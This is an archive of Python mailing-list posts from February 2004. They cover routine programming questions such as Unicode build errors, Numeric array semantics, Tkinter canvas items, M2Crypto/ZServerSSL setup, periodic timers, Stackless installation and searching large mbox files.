From: daniel.dittmar at sap.com (Daniel Dittmar)
Date: Tue, 24 Feb 2004 13:52:49 +0100
Subject: undefined symbol: PyUnicodeUCS2_FromUnicode
References: <c1fgnc$e2e$1@news.surfnet.nl>
Message-ID: <c1fhf1$mqk$1@news1.wdf.sap-ag.de>

Eric Moors wrote:
> /home/me>redhat-config-services
> ImportError: /usr/lib/python2.2/site-packages/gtk-2.0/gtk/_gtk.so:
undefined
> symbol: PyUnicodeUCS2_FromUnicode

Python on RedHat 9 is compiled with 4 byte unicode characters (UCS4), most
other distributions use 2 byte unicode characters (UCS2). So if you install
a rpm compiled on a different system, this error is bound to happen.
Solution: compile the python module from source, but this requires that the
sources of the module have been prepared to deal with UCS4.

Daniel





From chrish at cryptocard.com  Fri Feb 20 13:41:35 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Fri, 20 Feb 2004 13:41:35 -0500
Subject: Generating a large random string
In-Reply-To: <RpdZb.10783$Cd6.717545@news20.bellglobal.com>
References: <4034D506.2E37519A@netsurf.de> <7xsmh6a7cd.fsf@ruckus.brouhaha.com>
	<RpdZb.10783$Cd6.717545@news20.bellglobal.com>
Message-ID: <yssZb.11629$Cd6.823992@news20.bellglobal.com>

Sean Ross wrote:

> I'd be interested to see how
> 
> s = open("/dev/urandom").read(3000)
> 
> compares, and, if better, whether something similar can
> be done on Windows.

Works on my Windows boxes:

chris at chrish [501]: uname -a
CYGWIN_NT-5.1 chrish 1.5.7(0.109/3/2) 2004-01-30 19:32 i686 unknown unknown 
Cygwin
chris at chrish [502]: python
Python 2.3.3 (#1, Dec 30 2003, 08:29:25)
[GCC 3.3.1 (cygming special)] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
 >>> s = open("/dev/urandom").read(3000)
 >>> len(s)
3000
 >>> s[0]
']'
 >>> s[1]
'W'

;-)

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From hans at zephyrfalcon.org  Thu Feb 12 13:49:45 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Thu, 12 Feb 2004 13:49:45 -0500
Subject: Wrapping exception handling around a function
In-Reply-To: <402b927e$0$3168$61fed72c@news.rcn.com>
References: <402b927e$0$3168$61fed72c@news.rcn.com>
Message-ID: <402BCAC9.3070701@zephyrfalcon.org>

Edward C. Jones wrote:
> Is there a better way to write the following?
> 
> --------
> 
> import sys, traceback
> 
> class LocalError(StandardError):
>     pass
> 
> _first = True
> 
> # "fcn(*args)" is executed. If one of the exceptions listed in
> # "catchtuple" is thrown in "fcn", the exception is caught here.
> # The traceback and message are written to "badfile". Then
> # "LocalError" is raised. "wrapper" is useful when testing a
> # collection of functions.
> def wrapper(badfile, fcn, args, catchtuple):
>     global _first
>     try:
>         fcn(*args)
>     except tuple(catchtuple), message:
>         if _first:
>             bad = file(badfile, 'w')
>             _first = False
>         traceback.print_exc(100, bad)
>         raise LocalError

Hm.  What happens if you call this function for the second time?  _first will 
be false, and 'bad' will not be set.

It appears that all you want is to log the exception to a file... create it if 
it doesn't exist, append to it otherwise.  So you might be better off doing 
something like

   except tuple(catchtuple), message:
       bad = file(badfile, 'a+')
       traceback.print_exc(100, bad)
       bad.close()
       raise LocalError

HTH,

-- 
Hans (hans at zephyrfalcon.org)
http://zephyrfalcon.org/





From aaron at reportlab.com  Sun Feb  8 22:11:07 2004
From: aaron at reportlab.com (Aaron Watters)
Date: 8 Feb 2004 19:11:07 -0800
Subject: First  & Follow sets
References: <7k_Ub.22690$4X.479783@twister.tampabay.rr.com>
Message-ID: <9a6d7d9d.0402081911.27de17d7@posting.google.com>

"Nobody" <user_77 at hotmail.com> wrote in message news:<7k_Ub.22690$4X.479783 at twister.tampabay.rr.com>...
> Does anyone have some python code snippets for finding First() and Follow()
> sets of an LL(1) grammar handy?

Buried somewhere in kwParser I think you'll find something close
to this, but it may not be in a form that easy to adapt (and it
also may not be exactly what you are asking for).  It's one of the
gadfly components:  http://sourceforge.net/projects/gadfly/

   -- Aaron Watters
===
February is a horrible month which should be avoided whenever
possible.  [seen from a cookie program many years ago]


From ralf at brainbot.com  Tue Feb 10 18:27:59 2004
From: ralf at brainbot.com (ralf at brainbot.com)
Date: Wed, 11 Feb 2004 00:27:59 +0100
Subject: compile pycrypto on windows
References: <mailman.1443.1076453557.12720.python-list@python.org>
Message-ID: <86fzdizf9c.fsf@stronzo.brainbot.com>

Haim Ashkenazi <haim at babysnakes.org> writes:

> Hi
>
> I'm trying to compile pycrypto on windows. I've installed mingw and try to
> run the command 'python setup.py build -c mingw32 install' and I get this
> error:
>
> $ python setup.py build -c mingw32 install
> running build
> running build_py
[snip]
> c:\mingw\bin\gcc.exe -mno-cygwin -shared -s build\temp.win32-2.3\Release\sr
> \md2/o build\temp.win32-2.3\Release\src\MD2.def -Lc:\Python23\libs -Lc
> \Python23\PCBuild -lpython23 -o build\lib.win32-2.3\Crypto\Hash\MD2.pyd
> build\temp.win32-2.3\Release\src\md2.o(.text+0x3e3):MD2.c: undefined
> reference to `_imp___Py_NoneStruct'
> build\temp.win32-2.3\Release\src\md2.o(.text+0x3eb):MD2.c: undefined
> reference to `_imp___Py_NoneStruct'
> build\temp.win32-2.3\Release\src\md2.o(.text+0x53c):MD2.c: undefined
> reference to `_imp__PyType_Type'
> ---
>
> can someone please help?

Did you create libpythonXX.a ?
http://sebsauvage.net/python/mingw.html describes how to do that.

>
> thanx
> --
> Haim

-- 
brainbot technologies ag
boppstrasse 64 . 55118 mainz . germany
fon +49 6131 211639-1 . fax +49 6131 211639-2
http://brainbot.com/  mailto:ralf at brainbot.com


From jjl at pobox.com  Sun Feb  1 19:10:12 2004
From: jjl at pobox.com (John J. Lee)
Date: 02 Feb 2004 00:10:12 +0000
Subject: Numeric array referencing vs copying.
References: <bvisin$6o7$1@news.tudelft.nl>
Message-ID: <87smhuibob.fsf@pobox.com>

Maarten van Reeuwijk <maarten at remove_this_ws.tn.tudelft.nl> writes:

> I recently started using Python for CFD postprocessing, and although I like
> the language very much, it's memory management (copying vs referencing)
> makes me a little paranoid sometimes. Could you clarify how this works in
> Python?
> 
> - does the array constructor make a copy of the elements?

You mean Numeric.array?  Yes.  Try it out with the interactive prompt:

>>> a = arange(3.)
>>> a
array([ 0.,  1.,  2.])
>>> b = array(a)
>>> b
array([ 0.,  1.,  2.])
>>> id(a)
135849936
>>> id(b)
135622560
>>> a[0] = 5.
>>> a
array([ 5.,  1.,  2.])
>>> b
array([ 0.,  1.,  2.])


> - is a[:] = b[:] different from a = b?
[...]

Yes, completely.  a = b means just the same as it means for any other
"assignment" in Python: it just binds (the object bound to the name b)
to the name a.  It never means anything else in Python, happily :-)
There's a FAQ item (or two) on this in the Python FAQ.  It's very F'ly
A'd :-)

Slicing a Numeric array *is* different to other Python sequences:
slicing a Numeric.array doesn't make a copy, slicing a list (or a
tuple, of course) does.  I'm sure this is covered in the Numeric
manual, though it's a while since I read it.  Carrying on from above:

>>> c = a[:]
>>> c
array([ 5.,  1.,  2.])
>>> c[0] = 0
>>> c
array([ 0.,  1.,  2.])
>>> a
array([ 0.,  1.,  2.])


But, in contrast:

>>> l = [0., 1., 2.]
>>> l2 = l[:]
>>> l2
[0.0, 1.0, 2.0]
>>> l2[0] = 5
>>> l2
[5, 1.0, 2.0]
>>> l
[0.0, 1.0, 2.0]


John


From paul at fxtech.com  Thu Feb  5 12:17:42 2004
From: paul at fxtech.com (Paul Miller)
Date: Thu, 05 Feb 2004 11:17:42 -0600
Subject: using Numarray in a "standalone" situation
In-Reply-To: <pan.2004.02.05.17.36.06.533518@mavd.de>
References: <mailman.1237.1075981181.12720.python-list@python.org>
	<pan.2004.02.05.14.09.33.415528@mavd.de>
	<bvtfop$vs5l8$1@ID-111250.news.uni-berlin.de>
	<pan.2004.02.05.17.36.06.533518@mavd.de>
Message-ID: <6.0.1.1.2.20040205111448.0540cec0@mail.fxtech.com>

Hey folks - got an interesting problem here.

I have an embedded Python interpreter and I'm packing the app, 
python23.dll, and a subset of the Python 23 Lib directory for the utility 
modules I need to use (so far, only os and random). I also need to use 
numarray and I've copied the numarray directory into my standalone Lib 
directory.

Within my code, I have set sys.path to point to my standalone Lib 
directory, so in theory it shouldn't be looking in C:/Python23 for any 
modules, but when I try to import numarray I see it still sees C:/Python23.

What other stuff do I need to do to make my integrated interpreter and 
scripts I load to only see my standalone Lib directory as the Python library?

I hope this makes sense!





From M.Boeren at guidance.nl  Wed Feb 18 08:39:09 2004
From: M.Boeren at guidance.nl (Marc Boeren)
Date: Wed, 18 Feb 2004 14:39:09 +0100
Subject: Hiding/showing Tkinter.Canvas items
Message-ID: <7BE0F4A5D7AED2119B7500A0C94C58AC3D6FBB@DELLSERVER>


> Before I start moving them into dark corners of the canvas - 
> is there a way to hide/show Tkinter canvas items without
> having to maintain their original position externally?

For tagged items on the canvas:

mycanvas.itemconfigure("highlight", state='hidden')
mycanvas.itemconfigure("highlight", state='normal')

Cheerio, Marc.



From max at NcOviSsPiAoMntech.com  Tue Feb 24 10:30:01 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Tue, 24 Feb 2004 15:30:01 GMT
Subject: wxWindows changes name
In-Reply-To: <wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
	<480m30hd68ncg81if70n81h8tict03oda3@4ax.com>
	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
Message-ID: <Z5K_b.52$1e3.87616@twister.nyc.rr.com>

Pet van Oostrum wrote:


> So what will happen to the X Window system, often referred to as XWindows.
> And what about the comp.windows.x newsgroup hierarchy?
comp.widgets.x ? hmm..


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Tue Feb  3 12:02:27 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Tue, 03 Feb 2004 18:02:27 +0100
Subject: More verbose traceback
In-Reply-To: <pan.2004.02.03.12.19.28.751005@thomas-guettler.de>
References: <pan.2004.02.03.12.19.28.751005@thomas-guettler.de>
Message-ID: <401fd424$0$321$e4fe514c@news.xs4all.nl>

Thomas Guettler wrote:
> Hi!
> 
> Has someone written a script which
> dumps a traceback in a more verbose style?
> 
> This should include the information you
> see with cgitb. I like this very much.
> 
> You see the values of the important variables
> in the traceback. I need something like
> this, but it should be plain ascii, not html.

Have a look at the formatTraceback function in the util.py module of Pyro.
(http://pyro.sourceforge.net)   It prints tracebacks like this:

[IdJ] d:\>python test.py
--------------------------------------------------
  <exceptions.ZeroDivisionError> RAISED : integer division or modulo by zero
  Extended Stacktrace follows (most recent call last)
--------------------------------------------------
File "test.py", line (15), in ?
Source code:
     funcB("hello")
File "test.py", line (11), in funcB
Source code:
     result=funcA(1)
Local values:
                 localB = 'inside B'
--------------------------------------------------
File "test.py", line (7), in funcA
Source code:
     print arg/0
Local values:
                    arg = 1
                 localA = 999
--------------------------------------------------
  <exceptions.ZeroDivisionError> RAISED : integer division or modulo by zero
--------------------------------------------------


when used as follows:

try:
	...something...
except:
	print "".join(Pyro.util.formatTraceback( *sys.exc_info() ))



HTH,

--Irmen de Jong.


From no_spam at terastat.com  Fri Feb 20 14:40:41 2004
From: no_spam at terastat.com (bap)
Date: Fri, 20 Feb 2004 19:40:41 GMT
Subject: mcmillan installer web site
Message-ID: <YotZb.24730$4o.42623@attbi_s52>

Is anyone else having problems accessing the Mcmillan installer web site
(www.mcmillan-inc.com)? I get a no permission error message - so I don't
know if my ISP is blocked or something is wrong with the web site.

Bruce Peterson




From bblochl2 at compuserve.de  Mon Feb 23 13:10:04 2004
From: bblochl2 at compuserve.de (b-blochl)
Date: Mon, 23 Feb 2004 19:10:04 +0100
Subject: Class for Time Series Data
In-Reply-To: <420ced91.0402191804.49a5d91f@posting.google.com>
References: <420ced91.0402191804.49a5d91f@posting.google.com>
Message-ID: <403A41FC.7030508@compuserve.de>

sdhyok schrieb:

>Hi, I am trying to build up a system handling time series data a lot.
>Do you know any well-designed python class specially for time series data?
>Thanks in advance.
>
>Shin, Daehyok
>  
>
Just by chance I found  a new (new for me) compilation of  different 
python tools at the adress
http://www.enthought.com/python/

The content of the compilation is:


      Python 2.3 for Windows (Enthought Edition)

In addition to all of the features provided with the standard Python 2.3 
distribution, *Python 2.3 for Windows (Enthought Edition)* also includes 
the following additional packages:

    * wxPython 2.4.1.2 <http://www.wxpython.org/>: wxWindows for Python
    * PIL 1.1.4 <http://www.pythonware.com/products/pil/>: Python
      Imaging Library
    * VTK 4.2.2 <http://public.kitware.com/VTK/>: 3D Visualization Toolkit
    * MayaVi 1.2 <http://mayavi.sourceforge.net/>: 3D Data Visualization
      Tool
    * Numeric 23.1 <http://www.pfdubois.com/numpy/>: Numerical Python
    * SciPy 0.2 <http://www.scipy.org>: Scientific Library for Python
    * ScientificPython 2.4.3
      <http://starship.python.net/%7Ehinsen/ScientificPython/>: A
      collection of Python modules for scientific computing
    * F2PY 2.35.229-1505 <http://cens.ioc.ee/projects/f2py2e/>: A
      Fortran to Python interface generator
    * Chaco 0.1.0 <http://www.scipy.org/site_content/chaco>: Plotting
      toolkit for Python
    * Traits 1.0.2 <http://www.scipy.org/site_content/traits>: Strong
      typing for Python
    * PyCrust 0.7.2 <http://sourceforge.net/projects/pycrust/>:
      GUI-based Python shell
    * ZODB3 3.1 <http://sourceforge.net/projects/zodb/>: ZODB and ZEO
      Object DataBase
    * Gadfly 1.0.0 <http://gadfly.sourceforge.net/>: An SQL Relational
      Database in Python
    * PySQLite 0.4.3 <http://pysqlite.sourceforge.net/>: A Python
      Extension for the SQLite embedded relational database

May be you find there what you are looking for? (There is also a 
compilation for python2.2 available.)

Basically for time series analyses you always first need a management 
tool for the data. I think you my find that at 
http://www.pfdubois.com/numpy/. Second you need numeric methods to 
analyse the data. Many helpful tools you may find at  
http://starship.python.net/~hinsen/ScientificPython/ or 
http://www.scipy.org/. Third, may be you will have graphical 
presentation - you also will find pythontools on the net for different 
graphic systems.

For a precise answer to your specific needs you should specify your plan 
more precisly. Time series analyses is a huge filed of interest with 
many centers of application.

Best regards
Bernhard
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From newsgroups at jhrothjr.com  Mon Feb 23 11:12:14 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Mon, 23 Feb 2004 11:12:14 -0500
Subject: Help on Email Parsing
References: <mailman.190.1077526040.27104.python-list@python.org>
Message-ID: <103k9jfjpqra22b@news.supernews.com>


"dont bother" <dontbotherworld at yahoo.com> wrote in message
news:mailman.190.1077526040.27104.python-list at python.org...
> Hey,
> I have been trying to parse emails:
> But I could not find any examples or snippets of
> parsing emails in python from the documentation.
> Google did not help me much too.
> I am trying to understand the module 'email' and the
> functions described there to parse email but seems
> difficult.
> Can anyone help me in locating some pointers or
> snippets on this issue.
> Thanks a Ton
> Dont

You may want to study the MIME format a
bit first. It's not a particularly simple format.

The final example in the email documentation
seems to be fairly straightforward. The line:

msg = email.message_from_file(fp)

does everything and leaves the result in
memory as objects.

Of course, this is the *new* email package
that is in 2.2.3 and later. I don't believe the
old one was particularly easy to work with.

John Roth

.
>
> __________________________________
> Do you Yahoo!?
> Yahoo! Mail SpamGuard - Read only the mail you want.
> http://antispam.yahoo.com/tools
>




From jepler at unpythonic.net  Tue Feb  3 06:55:13 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 3 Feb 2004 05:55:13 -0600
Subject: internationalisation/gettext - any sample (.MO) data available ?
In-Reply-To: <282f826a.0402021907.2266c6b4@posting.google.com>
References: <282f826a.0402021907.2266c6b4@posting.google.com>
Message-ID: <20040203115513.GC26499@unpythonic.net>

On Mon, Feb 02, 2004 at 07:07:37PM -0800, Richard Shea wrote:
> Hi - I'd like to try applying internationalisation techniques to get
> an idea of how much extra work is involved.
> 
> As a first step I'm looking at the class based gettext. I just
> wondered if anyone knew of some ready made .MO files I could use - I
> don't care what the subject matter is I just want something realistic
> to work with

I've heard that when the folks at Red Hat decided to add i18n to their
installer, they used a filter program to translate the existing
english-language prompts into "redneck".  That way, english-speaking
developers could still use the software when testing the completeness of
the i18n work.

http://www.xent.com/FoRK-archive/jun98/0010.html

Perhaps you could do the same as a way to get your test data.

Jeff



From stuffduff at cox.net  Wed Feb  4 14:46:14 2004
From: stuffduff at cox.net (Sean)
Date: 4 Feb 2004 11:46:14 -0800
Subject: SWIG related: Error after installing m2crypto undefined symbol:
	EVP_rc5_32_12_16_ofb
References: <3222fe00.0402031441.6dc93896@posting.google.com>
	<4020270a$0$316$e4fe514c@news.xs4all.nl>
	<bvphmh$gj8$1@mawar.singnet.com.sg>
	<bvpl5u$i35$1@mawar.singnet.com.sg>
Message-ID: <3222fe00.0402041146.33bda09c@posting.google.com>

> FAQ updated. Zope + ExternalEditor makes it easy. ;-)

I went to 0.12 and got it working, docs in 0.12 seem 
identical to 0.11, maybe the zip files need to be updated?
 
> Cheers.

Not quite yet.  I moved up to the 2.7 version of ZServerSSL.
I had to correct a problem in z2s.py that was preventing z2s.py
from workiong with python 2.2.3

consider updating the language check to the following:

    if python_version[:3] == '2.1':
        if python_version[4:5] < '3':
            import warnings
            err = ('You are running Python version %s.  This Python
version '
                   'has known bugs that may cause Zope to run
improperly. '
                   'Consider upgrading to a Python in the 2.1 series '
                   'with at least version number 2.1.3.' %
                   python_version)
            warnings.warn(err)

    if python_version[:3] == '2.2':
        if python_version[4:5] < '2':
            import warnings
            err = ('You are running Python version %s.  This Python
version '
                   'has known bugs that may cause Zope to run
improperly. '
                   'Consider upgrading to a Python in the 2.2 series '
                   'with at least version number 2.2.2.' %
                   python_version)
            warnings.warn(err)

I also had to relocate some certificate related files (since I use
instances)
and now I'm getting a little farther.  The next problem deals with:

  File /usr/lib/python2.2/site-packages/M2Crypto/SSL/Context.py, line
155, in set_tmp_dh
  File /usr/lib/python2.2/site-packages/M2Crypto/BIO.py, line 150, in
openfile
  File /usr/lib/python2.2/site-packages/M2Crypto/BIO.py, line 139, in
__init__
SSLError: system lib

After logging this to the file it spits another message to the screen
about can't find file attribute _pyfree.  I'm not sure that this
is/isn't a problem with the python version.  I remember somewhere
there is a hack designed to fix something in python 2.1.3 that works
in 2.2.2 and above.

Any ideas?


From jcarlson at nospam.uci.edu  Sat Feb 21 20:47:59 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 21 Feb 2004 17:47:59 -0800
Subject: call a function every n mseconds
In-Reply-To: <slrnc3fuec.8pk.vedranf@rijeka.riteh.hr>
References: <slrnc3fuec.8pk.vedranf@rijeka.riteh.hr>
Message-ID: <c191tb$l6j$1@news.service.uci.edu>

> How can I call a function every time a specified number of milliseconds
> elapses? Javascript has setInterval() function and I need something like
> that. Currently I use this:
> def function():
> 	[...]
> 	t = threading.Timer(n, function)
> 	t.start()
> function()

I guess it all depends on what you are doing.  If you didn't need to do 
anything else, and didn't want to deal with threads:

###beginning of code
import time

def runevery(msecs, function, args=(,), kwargs={}):
     while 1:
         function(*args, **kwargs)
         time.sleep(msecs/1000.0)
###end of code

If you have other things to do:

###beginning of code
import time

timer = [time.time()]
def runevery(msecs, function, args=(,), kwargs={}):
     global timer
     if time.time() >= timer[0]:
         timer[0] += msecs/1000.0
         function(*args, **kwargs)

#call runfunct in some sort of mainloop like so:

while 1:
     asyncore.poll(1) #or something like that
     runevery(delay, function, args, kwargs)
###end of code

I hope this helps,
  - Josiah


From jcarlson at nospam.uci.edu  Fri Feb  6 12:17:33 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 09:17:33 -0800
Subject: hide sourcecode
In-Reply-To: <mailman.1295.1076057062.12720.python-list@python.org>
References: <mailman.1295.1076057062.12720.python-list@python.org>
Message-ID: <c00ibo$jkb$1@news.service.uci.edu>

Agreed.

Python is a tool.  Just like Emacs, Vim, Linux, GCC, etc.  How one 
chooses to distribute their ideas, is a personal choice.  Their choice 
of tools to develop their ideas shouldn't dictate how they are required 
(or urged) to distribute ideas.

  - Josiah


From ville at spammers.com  Sat Feb 28 04:10:57 2004
From: ville at spammers.com (Ville Vainio)
Date: 28 Feb 2004 11:10:57 +0200
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com>
	<mailman.218.1077916834.8594.python-list@python.org>
	<30260531.0402271901.1bbdda99@posting.google.com>
Message-ID: <du7n073muvy.fsf@amadeus.cc.tut.fi>

>>>>> "Simon" == simo  <simoninusa2001 at yahoo.co.uk> writes:

    Simon> Here's how I see it (I'm a Web Developer by trade): PHP -
    Simon> excellent database integration, if you don't want to have
    Simon> to use a Java application server for database work, go with
    Simon> PHP. Also nice templating system which even the Dreamweaver

So, how do Python's DB modules fall short of those of PHP? If they
indeed do, what should module developers do to fix this gap?

I'm so very tired of the argument that because language X specializes
in doing Q, it must be better than language Y (which is not
specialized for any particular task) for doing Q:

"Perl is only good for doing regexps, therefore it must be better than
Python for doing regexps"

"PHP is only good for doing DB connectivity /Web templating, therefore
it must be better than Python for doing them"

That just isn't logical.

    Simon> Perl - bloody fast, if you're doing lots of text
    Simon> processing/regex (e.g. XML parsing) then Perl is it,
    Simon> probably best for sysadmin tasks too. We use this for large

This is another argument I can't understand. If perl crunches your log
file in 3 minutes and Python takes 4 (but the script remains readable
and maintainable), Python would still be my choice. And regexps for
XML parsing don't always work anyway.

    Simon> The moral of the story is don't get locked into one
    Simon> technology, use the best tools for the job - especially if
    Simon> you happen to know them all! ;o)

Often Python is the best tool for all the jobs there is to do. People
just fail to see that because, driven by prejudice, they opt for the
tool that can *only* do whatever the job is at the moment. That might
have been sensible 15 years ago, but the software landscape has
changed since.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From srijit at yahoo.com  Thu Feb 19 02:36:30 2004
From: srijit at yahoo.com (srijit at yahoo.com)
Date: 18 Feb 2004 23:36:30 -0800
Subject: Stackless Python
Message-ID: <221d8dbe.0402182336.4a326d6c@posting.google.com>

Hello Chris,
Please refer an old message below. I unzipped python23.dll.zip and
kept  python23.dll in a local folder. I started Python from a dos box
(Win XP machine) in the same local folder. I typed help(stackless) and
got an error message, as shown below.

D:\Python23\myfiles>python
Python 2.3.3 (#51, Dec 18 2003, 20:22:39) [MSC v.1200 32 bit (Intel)]
on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> help(stackless)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
NameError: name 'stackless' is not defined
>>>

So I am still confused. How do I correctly install stackless Python
2.3?

Thanks.

Regards,
Srijit


srijit at yahoo.com wrote:
> I am interested to try Stackless Python. I have downloaded python22.dll.zip. 
> How do I install this zip file? I already have standard python 2.2.2 installed.

You either install python22.dll in a local folder. When you start
Python from there, it will be stackless.
If you want to install it permanently, rename the dll in
windows/system32 and copy the new dll there.

In the version you have, there is a stacklessmodule.pyd which
should be in the local folder or be copied into /python22/DLLs.
This is temporary, the new version which I'm about to upload
tomorrow does not have that external file, since it is all moced into
the core dll, for simplicity.

> I also do not see any documentation like tutorials,
> example programs, demos etc.

There are a few test programs, if you download the CVS tree.
There is no public release, yet, this is still pre-alpha
stuff.
You can get all internal documentation by
 >>> help(stackless) 
> Is it 100% compatible with standrad Python 2.2.2?

Yes, it should be. If not, let me know.

ciao - chris


From lubowiecka at go2.pl  Thu Feb  5 01:47:23 2004
From: lubowiecka at go2.pl (Sylwia)
Date: 4 Feb 2004 22:47:23 -0800
Subject: self-extracting installators in Python?
References: <bvourc$d4r$1@atlantis.news.tpi.pl>
	<8089854e.0402040053.2c34d0d3@posting.google.com>
	<Xns9485A8296FB5Ccpl19ghumspamgourmet@62.153.159.134>
Message-ID: <f6554b84.0402042247.5c0b1b34@posting.google.com>

Hello Harald!

It is really great thanks!
Anyway, I don't like the fact that it creates a separate "program" in
the
Add/Remove dialog on Windows :( I don't want any of my patches to be
placed there ... Can I avoid it?

Best Wishes,

Sylwia


From richardshea at fastmail.fm  Wed Feb 18 22:35:55 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 18 Feb 2004 19:35:55 -0800
Subject: How can I waste time ?
Message-ID: <282f826a.0402181935.2757359f@posting.google.com>

I'm sure this is a very simple question but I can't find an answer in
the archives.

I want my script to pause for a pre-determined number of seconds. How
do you do that ? I've found 'pause()' although it sounds awfully deep
for what I want and what's more it doesn't work on W32 (I'm developing
on W32 but will run on *nix).

Oh yes one other thing - I could write a loop and keep checking the
sytem clock but I would prefer for the process to just get out of the
way to allow others things access to the CPU.

As I say I'm sure it's dead simple but how ?

thanks

richard shea.


From john.abel at pa.press.net  Tue Feb  3 04:30:39 2004
From: john.abel at pa.press.net (John Abel)
Date: Tue, 03 Feb 2004 09:30:39 +0000
Subject: get logical drives and their type
In-Reply-To: <e1qu10l0rrj82hfsf2q5hilsuervq50s80@4ax.com>
References: <e1qu10l0rrj82hfsf2q5hilsuervq50s80@4ax.com>
Message-ID: <401F6A3F.6090800@pa.press.net>

Have a look in the win32all package.

JZ wrote:

>There are two usefull functions implemented in Windows:
>http://msdn.microsoft.com/library/en-us/fileio/base/getdrivetype.asp
>http://msdn.microsoft.com/library/en-us/fileio/base/getlogicaldrivestrings.asp
>
>Do anywhone know if they are implemented in Python? I could not find
>them in sys, os, os.path...
>
>--
>JZ
>  
>



From peter at engcorp.com  Mon Feb 16 09:24:15 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 16 Feb 2004 09:24:15 -0500
Subject: [Twisted] how to find out filenames of uploaded files?
References: <c0kr2g$9uo$1@ns.felk.cvut.cz>
Message-ID: <4030D28F.A91297DD@engcorp.com>

Frantisek Fuka wrote:
> 
> When I upload files using HTML form, i can get the contents of these
> files from request.args. But how do I find out the filenames under which
> the files were uploaded?

Is this information even provided by the client?  I would have thought
that the client sent only the data and the name of the form field to
which it belongs.

I haven't checked the HTTP/HTML standards though... have you?

-Peter


From mwh at python.net  Thu Feb  5 13:18:09 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 5 Feb 2004 18:18:09 GMT
Subject: spam classification breaker
References: <mailman.1250.1076001651.12720.python-list@python.org>
Message-ID: <m38yjh5r1b.fsf@pc150.maths.bris.ac.uk>

"Tim Peters" <tim.one at comcast.net> writes:

> Another thing feeding into this is that the smaller spammers seem to
> have trouble figuring out how to use their software.

Ah, yes, this is rule no 3 of spammers, isn't it?

Cheers,
mwh

-- 
  C++ is a siren song.  It *looks* like a HLL in which you ought to
  be able to write an application, but it really isn't.
                                       -- Alain Picard, comp.lang.lisp


From lubowiecka at go2.pl  Sun Feb 15 14:30:40 2004
From: lubowiecka at go2.pl (Ringwraith)
Date: Sun, 15 Feb 2004 20:30:40 +0100
Subject: a simple question... how to detect click action in another module?
Message-ID: <c0ohj8$5eq$1@atlantis.news.tpi.pl>

Hello!

How to detect in Python that some click action was performed in some module
imported by my main module?
Let's assume I have a tree.py module that implements all functionality of a
tree view widget and my sample application (let's say myapp.py) that imports
those tree module to create tree view control inside the main frame. I want
in my application to have some method that responds immediately (!!!!) to
click action performed within the tree module.... So if the click action is
performed in the tree module, some method from my myapp.py module
immediately executes... it could be for example a method that just displays
currently selected item of a tree (on a status bar) or whatever.....

Any hints would be appreciated.

Thank You in advance!

Please forgive me any english mistakes ;-)

Best Regards,

Sylwia




From claird at lairds.com  Tue Feb  3 10:23:42 2004
From: claird at lairds.com (Cameron Laird)
Date: Tue, 03 Feb 2004 15:23:42 -0000
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
	<bvmd1s$5b5$1@namru.matavnet.hu>
	<4f0a9fdb.0402022331.394b3002@posting.google.com>
Message-ID: <101vf7u9lru4m5c@corp.supernews.com>

In article <4f0a9fdb.0402022331.394b3002 at posting.google.com>,
Miki Tebeka <miki.tebeka at zoran.com> wrote:
>Hell Bastiaan, 
>
>> I need find messages in huge mbox files (50MB or more).
>> ...
>> Anyone who has a better idea?
>I find that sometime using the unix little utilties (which are
>available for M$ as well) gives very good performance.
>
>--- last.py ---
>#!/usr/bin/env python
>from os import popen
>from sys import argv
>
># Find last "From:" line
>last = popen("grep -n 'From:' %s | tail -1" % argv[1]).read()
>last = int(last.split(":")[0])
># Find total number of lines
>size = popen("wc -l %s" % argv[1]).read()
>size = int(size.split()[0].strip())
># Print the message
>print popen("tail -%d %s" % (size - last, argv[1])).read()
>--- last.py ---
>Tool less than 1sec on my computer on a 11MB mailbox.
			.
			.
			.
Absolutely.

Miki, I'd find this illustration even more compelling if it exploited
  commands.getoutput(.)
in place of your triplicated
  popen(.).read()
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From carroll at tjc.com  Fri Feb 20 01:39:48 2004
From: carroll at tjc.com (Terry Carroll)
Date: Fri, 20 Feb 2004 06:39:48 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
	<4f0a9fdb.0402180457.6c96853d@posting.google.com>
	<ql87309o5jg1qsro0tu89gb996635t0k9j@4ax.com>
	<mailman.41.1077153034.27104.python-list@python.org>
Message-ID: <5oab30ta1fkl4rbtnrnvtlis6j5c1f1ctv@4ax.com>

On Wed, 18 Feb 2004 19:10:06 -0600, Jeff Epler <jepler at unpythonic.net>
wrote:

>On Wed, Feb 18, 2004 at 05:41:10PM +0000, Terry Carroll wrote:
>> With read() instead of readline(), then.
>> 
>> I've certainly run into this using urllib2.
>
>Push the "yucky" while 1: loop into a generator function,
>and then use a regular "for" loop in the multiple places 
>you need to handle a file in this way:

Sure; there's no question that you can usually move awkward code
constructs to a different location in the program.



